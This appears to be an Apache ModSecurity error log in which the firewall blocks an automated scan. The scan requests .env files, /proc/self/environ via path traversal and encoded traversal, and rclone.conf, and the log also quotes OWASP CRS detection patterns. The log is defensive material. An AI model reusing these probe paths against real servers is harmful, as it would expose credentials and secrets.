[Sun Oct 25 14:43:04.699320 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5NuOapooGEQlE2Ll6VxQAAACY"]
[Sun Oct 25 14:43:04.699541 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5NuOapooGEQlE2Ll6VxQAAACY"]
[Sun Oct 25 14:43:04.701984 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuAl_YuTmdn3pCPOXlAAAAAk"]
[Sun Oct 25 14:43:04.702320 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuAl_YuTmdn3pCPOXlAAAAAk"]
[Sun Oct 25 14:43:04.702364 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5NuG-zzrnLViXtlwWgcwAAABg"]
[Sun Oct 25 14:43:04.702538 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuAl_YuTmdn3pCPOXlAAAAAk"]
[Sun Oct 25 14:43:04.702710 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5NuG-zzrnLViXtlwWgcwAAABg"]
[Sun Oct 25 14:43:04.703012 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5NuG-zzrnLViXtlwWgcwAAABg"]
[Sun Oct 25 14:43:04.705857 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5NuN6BoG8GuVESjJgBdAAAACU"]
[Sun Oct 25 14:43:04.706166 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5NuN6BoG8GuVESjJgBdAAAACU"]
[Sun Oct 25 14:43:04.706370 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5NuN6BoG8GuVESjJgBdAAAACU"]
[Sun Oct 25 14:43:04.709325 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5NuMAxLusXGhv5UJnA5AAAABE"]
[Sun Oct 25 14:43:04.709640 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5NuMAxLusXGhv5UJnA5AAAABE"]
[Sun Oct 25 14:43:04.709916 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5NuMAxLusXGhv5UJnA5AAAABE"]
[Sun Oct 25 14:43:04.710346 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5NuBNl8ZOaBiavdxV-mQAAACc"]
[Sun Oct 25 14:43:04.710713 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5NuBNl8ZOaBiavdxV-mQAAACc"]
[Sun Oct 25 14:43:04.710930 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5NuBNl8ZOaBiavdxV-mQAAACc"]
[Sun Oct 25 14:43:04.711292 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5NuDh4F5IzB4_aosIHkQAAABQ"]
[Sun Oct 25 14:43:04.711818 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5NuDh4F5IzB4_aosIHkQAAABQ"]
[Sun Oct 25 14:43:04.711863 2026] [core:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Sun Oct 25 14:43:04.712058 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5NuDh4F5IzB4_aosIHkQAAABQ"]
[Sun Oct 25 14:43:04.731000 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuG-zzrnLViXtlwWgdAAAABg"]
[Sun Oct 25 14:43:04.731089 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuG-zzrnLViXtlwWgdAAAABg"]
[Sun Oct 25 14:43:04.731234 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuG-zzrnLViXtlwWgdAAAABg"]
[Sun Oct 25 14:43:04.731445 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuG-zzrnLViXtlwWgdAAAABg"]
[Sun Oct 25 14:43:04.746456 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5NuN6BoG8GuVESjJgBdQAAACU"]
[Sun Oct 25 14:43:04.746819 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5NuN6BoG8GuVESjJgBdQAAACU"]
[Sun Oct 25 14:43:04.747037 2026] [core:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Sun Oct 25 14:43:04.747072 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5NuN6BoG8GuVESjJgBdQAAACU"]
[Sun Oct 25 14:43:04.750397 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5NuHNQSJj6g_R4pvfwoQAAABI"]
[Sun Oct 25 14:43:04.750951 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5NuHNQSJj6g_R4pvfwoQAAABI"]
[Sun Oct 25 14:43:04.751211 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5NuHNQSJj6g_R4pvfwoQAAABI"]
[Sun Oct 25 14:43:04.778340 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5NuOapooGEQlE2Ll6VxgAAACY"]
[Sun Oct 25 14:43:04.778755 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5NuOapooGEQlE2Ll6VxgAAACY"]
[Sun Oct 25 14:43:04.779006 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5NuOapooGEQlE2Ll6VxgAAACY"]
[Sun Oct 25 14:43:04.779054 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5NuOapooGEQlE2Ll6VxgAAACY"]
[Sun Oct 25 14:43:04.779068 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5NuOapooGEQlE2Ll6VxgAAACY"]
[Sun Oct 25 14:43:04.804024 2026] [core:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Sun Oct 25 14:43:04.810459 2026] [core:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Sun Oct 25 14:43:04.815268 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5NuHgFQMGvpHXnWRNuvwAAAB8"]
[Sun Oct 25 14:43:04.816543 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5NuMAxLusXGhv5UJnA5wAAABE"]
